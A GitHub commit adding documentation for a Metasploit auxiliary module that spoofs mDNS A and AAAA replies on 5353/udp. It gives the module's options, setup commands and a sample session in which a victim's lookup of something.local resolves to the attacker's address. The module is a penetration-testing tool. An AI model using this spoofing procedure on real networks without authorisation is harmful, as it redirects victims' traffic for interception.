Skip to content

Commit 45e0a3d

Browse files
committed
Add module docs for mdns_response
1 parent 5d255f1 commit 45e0a3d

File tree

1 file changed

+71
-0
lines changed

1 file changed

+71
-0
lines changed
Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
2+
3+
## Vulnerable Application
4+
5+
To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
6+
7+
## Verification Steps
8+
9+
1. `use auxiliary/spoof/mdns/mdns_response`
10+
2. `set INTERFACE network_iface`
11+
3. `set SPOOFIP4 10.x.x.x`
12+
4. `run`
13+
14+
## Options
15+
16+
**The SPOOFIP4 option**
17+
18+
IPv4 address with which to spoof A-record queries
19+
20+
```
21+
set SPOOFIP4 [IPv4 address]
22+
```
23+
24+
**The SPOOFIP6 option**
25+
26+
IPv6 address with which to spoof AAAA-record queries
27+
28+
```
29+
set SPOOFIP6 [IPv6 address]
30+
```
31+
32+
**The REGEX option**
33+
34+
Regex applied to the mDNS to determine if spoofed reply is sent
35+
36+
```
37+
set REGEX [regex]
38+
```
39+
40+
**The TTL option**
41+
42+
Time To Live for the spoofed response (in seconds)
43+
44+
```
45+
set TTL [number of seconds]
46+
```
47+
48+
## Scenarios
49+
50+
```
51+
msf > use auxiliary/spoof/mdns/mdns_response
52+
msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
53+
SPOOFIP4 => 10.x.x.y
54+
msf auxiliary(mdns_response) > set INTERFACE en3
55+
INTERFACE => en3
56+
msf auxiliary(mdns_response) > run
57+
[*] Auxiliary module execution completed
58+
msf auxiliary(mdns_response) >
59+
[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
60+
```
61+
62+
On Victim Machine
63+
```
64+
ping something.local
65+
```
66+
(IP address should resolve to spoofed address)
67+
68+
69+
```
70+
[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y
71+
```

0 commit comments

Comments
 (0)